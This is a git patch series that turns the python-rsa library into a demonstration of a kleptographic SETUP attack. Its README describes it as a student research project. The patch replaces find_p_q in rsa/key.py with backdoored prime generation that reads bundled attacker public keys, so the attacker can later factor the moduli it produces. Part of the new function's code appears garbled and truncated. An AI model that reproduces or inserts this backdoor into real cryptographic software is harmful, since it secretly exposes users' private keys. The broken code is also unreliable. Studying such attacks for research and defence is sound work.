From 9f690a6db5e98f2a0cce3377101aa4ee56a55e3e Mon Sep 17 00:00:00 2001 From: MeNoSmartBrain <65497740+MeNoSmartBrain@users.noreply.github.com> Date: Sun, 22 May 2022 19:05:19 +0200 Subject: [PATCH 1/4] init malicous code --- attack_key_1024 | 5 ++ attack_key_128 | 3 + attack_key_256 | 3 + attack_key_32 | 3 + attack_key_512 | 4 ++ attack_key_64 | 3 + rsa/key.py | 173 ++++++++++++++++++++++++++++++++++++++++++++++++ setup.py | 4 ++ 8 files changed, 198 insertions(+) create mode 100644 attack_key_1024 create mode 100644 attack_key_128 create mode 100644 attack_key_256 create mode 100644 attack_key_32 create mode 100644 attack_key_512 create mode 100644 attack_key_64 create mode 100644 setup.py diff --git a/attack_key_1024 b/attack_key_1024 new file mode 100644 index 0000000..06d7ba5 --- /dev/null +++ b/attack_key_1024 @@ -0,0 +1,5 @@ +-----BEGIN RSA PUBLIC KEY----- +MIGJAoGBAJyo6/4GuMIGLCwMCYHAjyeIXEEK98g3RP2jleZwVdT3gXiupEOs2Hwo +BbwzW8Clz4zTEQjdnqqCN4yhrvu2BJhqbl9Sb4u/wRTMpojR14SfuI3rHx5e8QS0 +oFbOjVcH6enE4oO3BBlf9YO9Iw80HQznfvWMVfB1GSI9Q2ymXA4PAgMBAAE= +-----END RSA PUBLIC KEY----- diff --git a/attack_key_128 b/attack_key_128 new file mode 100644 index 0000000..69849f6 --- /dev/null +++ b/attack_key_128 @@ -0,0 +1,3 @@ +-----BEGIN RSA PUBLIC KEY----- +MBgCEQDxDAntwnlKaddR39fUffVZAgMBAAE= +-----END RSA PUBLIC KEY----- diff --git a/attack_key_256 b/attack_key_256 new file mode 100644 index 0000000..522b608 --- /dev/null +++ b/attack_key_256 @@ -0,0 +1,3 @@ +-----BEGIN RSA PUBLIC KEY----- +MCgCIQDBj+lry4jY7KETFS1Vxw+YfXY6XPtkFPOUxhKL2rrKIQIDAQAB +-----END RSA PUBLIC KEY----- diff --git a/attack_key_32 b/attack_key_32 new file mode 100644 index 0000000..be250bb --- /dev/null +++ b/attack_key_32 @@ -0,0 +1,3 @@ +-----BEGIN RSA PUBLIC KEY----- +MAwCBQCtj0G1AgMBAAE= +-----END RSA PUBLIC KEY----- diff --git a/attack_key_512 b/attack_key_512 new file mode 100644 index 0000000..371023a --- /dev/null +++ b/attack_key_512 @@ -0,0 +1,4 @@ +-----BEGIN RSA PUBLIC KEY----- +MEgCQQDxS4J1O3EugecBZD202JoKxKLRMai1iqXsH5n9eME+S8463tqboHo3q4W1 +3BLZXuO9v0HdZ0ykSF8zflIjl5SVAgMBAAE= +-----END RSA PUBLIC KEY----- diff --git a/attack_key_64 b/attack_key_64 new file mode 100644 index 0000000..03f285f --- /dev/null +++ b/attack_key_64 @@ -0,0 +1,3 @@ +-----BEGIN RSA PUBLIC KEY----- +MBACCQCmOwkc1beZwQIDAQAB +-----END RSA PUBLIC KEY----- diff --git a/rsa/key.py b/rsa/key.py index f800644..97bc8f5 100644 --- a/rsa/key.py +++ b/rsa/key.py @@ -839,6 +839,179 @@ def getprime_func(nbits: int) -> int: return (PublicKey(n, e), PrivateKey(n, e, d, p, q)) +# ------------ Malicious code starts here ------------ +""" +Two options for manipulating with the find_p_q function: + +1. Option: + - Before runtime store find_p_q in a variable (__find_p_q) + - Delete the original find_p_q function + - ***Attack-Step*** +2. Option: + - At runtime import sys + - Store the runtime function find_p_q in a variable (__find_p_q) + - ***Attack-Step*** + - Afterwards replace the runtime function with the overwritten function find_p_q + +Attack-Step: + - Replace the original find_p_q function with the new one + - Call the new function with the same arguments + - After receiving p and q by call __find_p_q with the same arguments + - With p and the public key of the attacker calculate the new q + - return the p and the new q +""" + +""" +# Option 1 +""" +del find_p_q # This might not be necessary, but could avoid a warning about the shadowed name. + +""" +# Option 2 --- Part 1 +""" +# import sys +# __find_p_q = sys.modules['rsa.key'].find_p_q + +""" +Attack-Step: +""" + + +def find_p_q( + nbits: int, + getprime_func: typing.Callable[[int], int] = rsa.prime.getprime, + accurate: bool = True, +) -> typing.Tuple[int, int]: + """ + This methode shows a kelptographic attack on the python-rsa package. + Using a RSA-public key of the attacker in the root-directory the return value q is manipulated affecting + the product of p and q, the public modulus. After a successful attack the attacker can derive the value + of q from the public modulus, using the private key of the attacker. + """ + supported_nbits = [32, 64, 128, 256, 512, 1024] + if nbits not in supported_nbits: + raise ValueError("Unsupported nbits") + + # TODO pure python implementation path + from os import path + resources_dir = path.dirname(path.dirname(__file__)) + + in_file = open(resources_dir + '\\attack_key_' + str(nbits), 'rb') + attack_key = rsa.key.PublicKey.load_pkcs1(in_file.read()) + in_file.close() + + """ + There are multiple options for the optimizer. The optimizer in general limits the value of p. Normally + this is not intended in the RSA-algorithm but it helps with the runtime of the attack / generation. + By incrementing the optimizer by one the margin between lower and upper bound of q roughly doubles. + On the alternative the RSA-algorithm intends to set such limitations for q (Condition 5): + bit_size(q) <= nbits−nbits/2. + Since the optimizer is subtrahend of the minuend nbits and p and q are interchangeable within the + prime factor generation, the optimizer is set to nbits/2. + """ + optimizer = nbits // 2 + + created = False + while not created: + """ + Generate the prime factor p. Following these instructions: + + To generate the primes p and q, ... + + Condition 1: + generate a random number of bit length k/2 where k is the required bit length of the modulus n; + + Condition 2: + set the low bit (this ensures the number is odd) and + + Condition 3: + set the two highest bits (this ensures that the high bit of n is also set); + + Condition 4: + check if prime (use the Rabin-Miller test); if not, increment the number by two and check again + until you find a prime. This is p. + + Condition 5: + Repeat for q starting with a random integer of length k−k/2. + + Condition 6: + If p bool: + if p == q: + raise ValueError("Condition 7 not satisfied.") + + if not nbits * 2 == rsa.common.bit_size(p * q): + raise ValueError("Condition 3 not satisfied.") + + is_acceptable(p, q) + + created = True + + except OverflowError: + pass + except ValueError: + pass + + return max(p, q), min(p, q) + + +""" +# Option 2 --- Part 2 +""" + +# sys.modules['rsa.key'].find_p_q = find_p_q + +# ------------ Malicious code ends here ------------ + + __all__ = ["PublicKey", "PrivateKey", "newkeys"] if __name__ == "__main__": diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..c8bba4b --- /dev/null +++ b/setup.py @@ -0,0 +1,4 @@ +from setuptools import setup + +if __name__ == '__main__': + setup() From ce11832844668f71555513b1512e6e317483b898 Mon Sep 17 00:00:00 2001 From: MeNoSmartBrain <65497740+MeNoSmartBrain@users.noreply.github.com> Date: Sun, 22 May 2022 19:06:55 +0200 Subject: [PATCH 2/4] Update README.md --- README.md | 49 +++++++++++++++---------------------------------- 1 file changed, 15 insertions(+), 34 deletions(-) diff --git a/README.md b/README.md index 02761da..16da17e 100644 --- a/README.md +++ b/README.md @@ -1,43 +1,24 @@ -# Pure Python RSA implementation +⛔️⛔️⛔️ This is RSA implementation is compromised. Do NOT use is for anything else than demonstration purposes +# Kelptographic SETUP attack on python RSA -[![PyPI](https://img.shields.io/pypi/v/rsa.svg)](https://pypi.org/project/rsa/) -[![Build Status](https://travis-ci.org/sybrenstuvel/python-rsa.svg?branch=master)](https://travis-ci.org/sybrenstuvel/python-rsa) -[![Coverage Status](https://coveralls.io/repos/github/sybrenstuvel/python-rsa/badge.svg?branch=master)](https://coveralls.io/github/sybrenstuvel/python-rsa?branch=master) -[![Code Climate](https://api.codeclimate.com/v1/badges/a99a88d28ad37a79dbf6/maintainability)](https://codeclimate.com/github/codeclimate/codeclimate/maintainability) +This project shows an attack asymmetric kleptogrpahic attack on the RSA algorithmen. The project is based on the [python-rsa](https://github.com/sybrenstuvel/python-rsa) package from Sybren A. Stüvel. It is done by appending code to the key.py file. -[Python-RSA](https://stuvel.eu/rsa) is a pure-Python RSA implementation. It supports -encryption and decryption, signing and verifying signatures, and key -generation according to PKCS#1 version 1.5. It can be used as a Python -library as well as on the commandline. The code was mostly written by -Sybren A. Stüvel. +This project was carried out as part of a student research project by Yannic Hemmer at the DHBW Karlsruhe. It is intended to show exemplarily how kleptogrpahic attacks work. +The student research project and a more detailed documentation of the procedure can be found in the main repository of the student research project. It also explains the basics on which the attack is based. +[RSA_Kleptography_Studienarbeit](https://github.com/MeNoSmartBrain/RSA_Kleptography_Studienarbeit) +It also contains the code to extract the private prime factors from the public modulus of a key generated by this repository. -Documentation can be found at the [Python-RSA homepage](https://stuvel.eu/rsa). For all changes, check [the changelog](https://github.com/sybrenstuvel/python-rsa/blob/master/CHANGELOG.md). +The createCerts.py contains examples for private key for an attacker. I would advice against using them outside this project. -Download and install using: - - pip install rsa - -or download it from the [Python Package Index](https://pypi.org/project/rsa/). - -The source code is maintained at [GitHub](https://github.com/sybrenstuvel/python-rsa/) and is -licensed under the [Apache License, version 2.0](https://www.apache.org/licenses/LICENSE-2.0) - -## Security - -Because of how Python internally stores numbers, it is very hard (if not impossible) to make a pure-Python program secure against timing attacks. This library is no exception, so use it with care. See https://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/ for more info. - -## Setup of Development Environment +__This repsoitory is for demonstration purposes only. Do NOT use it for generation RSA keypairs for real world use.__ +For installation, clone the repository and install it with pip in development mode: ``` -python3 -m venv .venv -. ./.venv/bin/activate -pip install poetry -poetry install +python3 -m pip install ./ ``` -## Publishing a New Release +I advice doinng this in a virtual enviroment, which shall be deleted afterwards. -``` -. ./.venv/bin/activate -poetry publish --build -``` +Thanks to Sybren A. Stüvel for letting me use this project and disgussing its stucture with me. + +Do not use this for anything other than research From 7fa432ab3a9e7fb080e44e0d832525e1e2a1e4d9 Mon Sep 17 00:00:00 2001 From: MeNoSmartBrain <65497740+MeNoSmartBrain@users.noreply.github.com> Date: Wed, 25 May 2022 22:07:55 +0200 Subject: [PATCH 3/4] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 16da17e..b490350 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ __This repsoitory is for demonstration purposes only. Do NOT use it for generati For installation, clone the repository and install it with pip in development mode: ``` -python3 -m pip install ./ +python3 -e pip install ./ ``` I advice doinng this in a virtual enviroment, which shall be deleted afterwards. From d70fc3f2899fff46979c42e1ca57e11d41299bb9 Mon Sep 17 00:00:00 2001 From: MeNoSmartBrain <65497740+MeNoSmartBrain@users.noreply.github.com> Date: Wed, 25 May 2022 22:11:45 +0200 Subject: [PATCH 4/4] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b490350..16da17e 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ __This repsoitory is for demonstration purposes only. Do NOT use it for generati For installation, clone the repository and install it with pip in development mode: ``` -python3 -e pip install ./ +python3 -m pip install ./ ``` I advice doinng this in a virtual enviroment, which shall be deleted afterwards.